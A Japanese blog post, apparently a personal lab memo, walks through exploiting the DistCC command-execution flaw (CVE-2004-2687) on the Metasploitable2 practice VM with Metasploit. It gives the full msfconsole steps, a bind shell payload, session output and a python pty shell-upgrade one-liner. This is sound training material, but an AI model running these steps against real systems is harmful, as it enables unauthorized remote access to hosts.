0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Metasploitable2 exploit DistCC

Last updated at Posted at 2024-10-05

Metasploitable2のDistCCをエクスプロイトする備忘録です。
DistCCには、RCEの脆弱性(CVE-2004-2687)があます。

Metasploitでエクスプロイトする

Kali LinuxのIPアドレス:192.168.56.10
Metasploitable2のサーバーのIPアドレス:192.168.56.20
Metasploitを起動します。

msfconsole

exploitを検索します。

msf6 > search distcc

Matching Modules
================

   #  Name                           Disclosure Date  Rank       Check  Description
   -  ----                           ---------------  ----       -----  -----------
   0  exploit/unix/misc/distcc_exec  2002-02-01       excellent  Yes    DistCC Daemon Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/misc/distcc_exec

0番を使用します。

msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_bash

payloadを検索します。

msf6 exploit(unix/misc/distcc_exec) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/cmd/unix/adduser                    .                normal  No     Add user with useradd
   1   payload/cmd/unix/bind_perl                  .                normal  No     Unix Command Shell, Bind TCP (via Perl)
.
.
.

1番を使用します。

msf6 exploit(unix/misc/distcc_exec) > set payload 1
payload => cmd/unix/bind_perl

オプションを確認します。

msf6 exploit(unix/misc/distcc_exec) > show options

Module options (exploit/unix/misc/distcc_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    3632             yes       The target port (TCP)


Payload options (cmd/unix/bind_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  4444             yes       The listen port
   RHOST                   no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

RHOSTSのRequiredがyesで、値がセットされてないので、セットします。

msf6 exploit(unix/misc/distcc_exec) > set RHOSTS 192.168.56.20
RHOSTS => 192.168.56.20

exploitします。

msf6 exploit(unix/misc/distcc_exec) > exploit

[*] Started bind TCP handler against 192.168.56.20:4444
[*] Command shell session 1 opened (192.168.56.10:36475 -> 192.168.56.20:4444) at 2024-10-05 13:37:42 +0900

whoami
daemon
hostname
metasploitable

シェルが無いので、対話的シェルの出し方。

python -c 'import pty;pty.spawn("/bin/bash")'
daemon@metasploitable:/tmp$

プロンプトが表示されます。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?